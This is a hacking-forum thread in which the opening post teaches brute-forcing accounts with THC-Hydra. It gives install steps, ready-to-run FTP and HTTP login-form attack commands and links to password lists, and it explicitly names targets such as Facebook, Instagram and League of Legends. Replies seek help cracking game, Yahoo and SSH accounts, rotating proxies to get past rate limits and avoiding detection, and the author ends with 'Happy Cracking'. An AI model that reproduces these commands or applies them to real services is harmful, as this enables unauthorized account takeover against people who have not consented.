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High On Quack - October 21, 2014, 2:57 pm

Bruteforcing with THC-HYDRA

I see a lot of threads in beginner hacking asking questions like: "How do I hack_ accounts", "how do I get the password for ____"

This tutorial will teach you how to brute force accounts with thc-hydra (command line version)

Requirements: PC, MAC, or LINUX OS (kali linux is the best to use)

Macports (if on mac)

Cygwin (PC)

Aptitude (if not on linux other than kali linux)

Installing on Mac:

Grab MacPorts and install it here: <https://www.macports.org/install.php>

Once installed, open up terminal. Type/copy the following lines into terminal:

Code port install libssh

port install hydra

thc-hydra is now installed on your mac.

Installing on Linux:

Code Ubuntu/Debian: apt-get install libssl-dev libssh-dev libidn11-dev libpcre3-dev libgtk2.0-dev libmysqlclient-dev libpq-dev libsvn-dev firebird2.1-dev libncp-dev libncurses5-dev

Redhat/Fedora: yum install openssl-devel pcre-devel ncpfs-devel postgresql-devel libssh-devel subversion-devel libncurses-devel

OpenSuSE: zypper install libopenssl-devel pcre-devel libidn-devel ncpfs-devel libssh-devel postgresql-devel subversion-devel libncurses-devel

Now use wget or curl to download The hydra source <http://www.thc.org/releases/hydra-8.0.tar.gz>

Use tar to unpack it:

Code tar -xzf hydra-8.0.tar.gz

Now run:

Code cd hydra-8.0

./configure

make You have now finished installing hydra on your *nix box!

Using THC-Hydra!

The most common way that I have used thc-hydra is to brute force ftp accounts

how you would do this is by typing:

Code hydra -l ftpuser -P mypasswordlist.txt ftp://leftpserver.net

You can look up how to use the program to your specific needs by typing:

Code hydra -hlt will display all parameters.

Using THC-Hydra WITH HTTP!

HTTP is the most useful form of a brute force attack, it allows you to crack web logins like facebook, instagram, league of legends, you name it!

Here is what you need to know for an http attack:

Website domain: example.com

Method(Type this in correct order): http-form-post

What the website returns on incorrect login: Wrong password fool.

url of the page: /login.php

Form parameters (these are the name="~~~" variable in an input tag):

user=^USER^&password=^PASS^

and then your users file/passwords file and other stuff that I showed you in the last section.

Here is the command (replace with your own variables)

Code hydra example.com http-form-post "/login.php:user=^USER^&pass=^PASS^:Wrong password fool." -L users.txt -P pass.txt -t 10

PASSWORD LISTS! (The most important part)

10000 Most Commonly used passwords - <http://adf.ly/t6veM>

Computer Generated list of ~250,000,000 passwords! - <http://getfiles.co/4uDH>

PLEASE pm me with any questions I would love to help!

LindaPinda - October 21, 2014, 4:22 pm

So you are teaching how to install on unix based systems, and how to crack a FTP-logins.. No offence, but maybe you should edit your tittle to something more accurate? ?

You should add how to compile it on windows OS, and how to brute HTTP forms.
That would assist a lot of users... ?

Spoiler ([Click to View](#)) If not, I'll might do a tut on this when I get the time

High On Quack - October 21, 2014, 4:31 pm

I will add a separate tut for that, this tut works fine for imap, pop3, ssh, ftp, sql, etc. as long as its not http/

P0pz - October 22, 2014, 6:47 am

Nice tutorial, but most "how to crack X" questions are mostly on social media accounts or game accounts.

Dirtmaan - October 22, 2014, 12:41 pm

Thanks for this method, vouched by me ;)

High On Quack - October 22, 2014, 1:10 pm

THC-Hydra works with social network accounts It is just configured weirdly, I will be updating it with that info!

number7 - November 24, 2014, 3:38 pm

i get erro

Compiled without LIBSSH v0.4.x support, module is not available!

when i try to run ssh any help

i did run exactly as posted hear except at end of hydra
make
i ran make install as it told me too
ok so now diffrent errors

hear is what i did to try fix the libssh erro

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Code cd /usr/local/src
wget http://www.libssh.org/files/0.4/libssh-0.4.8.tar.gz
tar xzf libssh-0.4.8.tar.gz
cd libssh-0.4.8
mkdir build
cd build
cmake -DCMAKE_INSTALL_PREFIX=/usr -DCMAKE_BUILD_TYPE=Debug -DWITH_SSH1=ON ..
make
make install
then reinstalled hydra
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now i get this erro

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Code [root@CT105 hydra-8.0]# hydra -s 22 -V -l root -P p2.txt 1xx.1xx.xxx.xxx ssh
hydra: error while loading shared libraries: libssh.so.4: cannot open shared object file: No such file
or directory
i xxed out the ip i was running agenced in this post
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any thoughts

meicheung333 - November 25, 2014, 8:08 am

your common password is very great. I think it is very important in the bf pwd when have a good
pwd list

NothingIllegal - November 25, 2014, 2:48 pm

This isn't written for HTTP, while most of those threads asking is for, you guessed it, HTTP.

skidochua - November 25, 2014, 4:26 pm

IF you know how to use hydra for web form login attack pls pm me on lostcupid1989@yahoo.com

High On Quack - December 16, 2014, 4:06 pm

I added to the tutorial a section for HTTP brute forcing! Happy Cracking!

GorrePro - December 24, 2014, 2:05 pm

Thanks for great for this mate , looked everywhere after an easy understanding and working tutorial
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High On Quack - December 24, 2014, 2:10 pm

(Dec 24, 2014 03:05 PM)GorrePro Wrote: [\[CITE\]](#) Thanks for great for this mate , looked everywhere
after an easy understanding and working tutorial !

(Dec 17, 2014 09:29 AM)ShatteredPrince Wrote: [\[CITE\]](#) Awesome tutorial , thanks for share buddy.
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Thank you guys for leaving feedback. I am glad I could help you!

akbarb - January 11, 2015, 5:21 pm

The download link for the 10k pwd is invalid, and the other one is a survey site that never completes...

Other than that thanks for the tut!

High On Quack - January 18, 2015, 10:44 am

(Jan 11, 2015 06:21 PM)akbarb Wrote: [\[CITE\]](#) The download link for the 10k pwd is invalid, and the other one is a survey site that never completes...

Other than that thanks for the tut!The 10K list works for sure, I just tested it.

zkmm - February 13, 2015, 3:24 pm

Hello buddy,

I tried to PM but since I'm new here, I couldn't (need 25 messages).

I need some help, I'm trying to bruteforce League of Legends account.

Using your tuto I use this command:

hydra URL https-form-post

"/login-queue/rest/queues/lol/authenticate:user=^USER^&pass=^PASS^:invalid_credentials","status":
:"FAILED." -L user.txt -P dictionnaire.txt -t 10

But i got a error saying that I could not resolve the address I typed:

Could you help me a bit please? That would be great ;)

(I can't give you the URL since I need 50 post to post them haha)

Sorry if I made some mistakes, I learn english

EDIT: Ok I resolve this issue by searching the adress IP of the URL, I did a nslookup on the adress. Now it seem to try to bruteforce but I did a test with my account, so it was the good login name and password and nothing happened... So complicated haha, would appreciate some help plz :)

Thanks :)

makis23 - February 26, 2015, 11:36 pm

I'm new to Hydra and I finally got it to run. I tried with a list of passwords I know are wrong but Hydra returned the results with all 10 of the passwords as valid. What am I doing wrong?

thatguyfrommv - February 27, 2015, 4:15 pm

I get the error "You have made too many login attempts. Please wait a few minutes before trying again."

How to I set it up to automatically rotate proxies every x attempts

makis23 - February 28, 2015, 1:58 am

Quote:Method(Type this in correct order): http-form-post

I've seen in other tutorials that say that the correct order is http-get-form. Which one should I use?

High On Quack - February 28, 2015, 5:06 am

(Feb 28, 2015 02:58 AM)makis23 Wrote: [\[CITE\]](#) I've seen in other tutorials that say that the correct order is http-get-form. Which one should I use?

Http-get-form doesn't do the right form method.

makis23 - February 28, 2015, 7:08 am

(Feb 28, 2015 06:06 AM)High On Quack Wrote: [\[CITE\]](#) Http-get-form doesn't do the right form method.

ok, thanks for the reply.

Another thing I have seen in other tutorial is that after the variables ^USER^&^PASS^ they also add a variable for the submit button. Other tutorials don't have that. Is it necessary?

stronghold - March 1, 2015, 8:08 am

Would this actually work with LoL accounts as well?

Nalgun - March 2, 2015, 4:58 am

Good guide, not much usefull since it's not written for http

hopeshater - April 10, 2015, 9:54 am

ok i am a noob no question in that but as hard as i try i cannot seem to get hydra to do what i want or write a path it excepts any help... someone please pm me if you have time

minaiah07 - July 3, 2015, 12:59 am

Hi well I've been learning to use all by myself thc hydra for the past few days and I got this error "File for passwords not found: password.txt" uhm I wanna know if what am i doing wrong?

High On Quack - July 3, 2015, 3:11 pm

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Make sure you have created a password.txt file in the directory you are running the hydra command.

(Mar 1, 2015 09:08 AM)stronghold Wrote: [\[CITE\]](#) Would this actually work with LoL accounts as well?

Riot has a captcha system set-up so idk.

minaiah07 - July 3, 2015, 8:50 pm

(Jul 3, 2015 03:11 PM)High On Quack Wrote: [\[CITE\]](#) Make sure you have created a password.txt file in the directory you are running the hydra command.

Riot has a captcha system set-up so idk.thank you kind sir, i already resolved that problem :) but can you help me with these; I've been getting an error like this when I tried to hack my old yahoo account. "[ERROR] SMTP LOGIN AUTH, either this auth is disabled or server is not using auth: 530 5.7.0 Must issue a STARTTLS command first" when I entered this Code hydra -l myaccout@yahoo.com -P C:/Users/mina/Desktop/password.txt -e ns -V -s 587 smtp.mail.yahoo.com smtp

Trueancy - July 6, 2015, 1:57 pm

im going to give this a try does it brute force ssh?

arnographic - July 18, 2015, 8:11 am

this guide definitely will help me out ! thank you for this share //

Helpimwet - October 25, 2015, 1:54 pm

I have been trying to use a bruteforce attack to get my league account back that was recently hacked. I know the site has a captcha system but I also know that people still bruteforce league so there has to be a way. Would going through a proxy help? Or is there any way to get enough information to brute force the actual game client and not the website?

Hash G. - October 25, 2015, 2:21 pm

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If it's your account then just contact the support. After a few questions to verify you really own the account, they'll give it back to you.

Helpimwet - October 26, 2015, 1:08 pm

I have tried but I do not remember enough information to get the account back. The account is 2009 so the original email is long gone and I can't remember the first 5 champs. Is there any way to bruteforce?

david2305 - October 27, 2015, 12:04 pm

I have been using hydra several times but I have been always a little bit scared, because hydra sends a lot of requests in a very short time. Doesn't it get suspicious when there are sent a lot of requests from one single IP?

kmz22222 - October 27, 2015, 2:19 pm

10/10 Such Tutorial.

The problem is: Brute forcing isn't effective.

Why? because chances of the victims password be one of the following WITHOUT YOU EVEN TRYING TO GUESS WHAT IS IT

is pretty damn low probabilities. you should AT LEAST know his name, nickname, username ETC...

But lists? nah dat won't work trust me.

What about bruteforcing a wifi?

Same as brute forcing an account

the chances of the password being in the list is PRETTY DAMN LOW.

What is more fucked up that the password might be numbers only.

And that doubles the probability to make it extremely low for you to know the password.

For wifi i prefer WPS hacking. [Hacking a random wifi in seconds in real time for real time uses is better than spending shit tons of days hacking a wifi with brute forcing.]

High On Quack - December 13, 2015, 8:25 am

It can be useful for cracking multiple accounts at once.

High On Quack - December 15, 2015, 5:56 pm

Brute forcing is still a useful technique that can be used for cracking accounts.

IAmInfluenced - December 17, 2015, 2:20 am

Might have to give this a try, once I figure it out that is lol.

Lskovfaged - April 15, 2016, 6:50 pm

I do apologise if this is an error on my behalf. But your links for the password lists do not seem to work, or at least the one for the 10.000 common passwords. When I use the other link, I am however met by the lovely "You must complete a survey first".

heroinkid - October 3, 2018, 8:06 am

can't get the file for passwords any help?

oxidebuffalo - October 3, 2018, 9:35 am

(Oct 3, 2018 08:06 AM)heroinkid Wrote: [\[CITE\]](#) can't get the file for passwords any help? You're going to have to brute-force which means random password calculation until it works, which can take an unknown length of time depending on the strength of the password.

heroinkid - October 3, 2018, 12:45 pm

can i use this for runescape? any video guides? lmao im on a mac

SchwererGustav - *October 13, 2018, 4:10 am*

but it can take long time to figure out what s the password to which user it connect , rainbow tables are better where they crack hashes instead of words

diastolik - *October 19, 2018, 12:47 pm*

how often does a brute force work? i'd be very interested in knowing if this actually works, does this bypass the 5 try limit?

do you have to have an automatic IP switcher or something????

this seems like it's far more involved then just the steps you've described!!!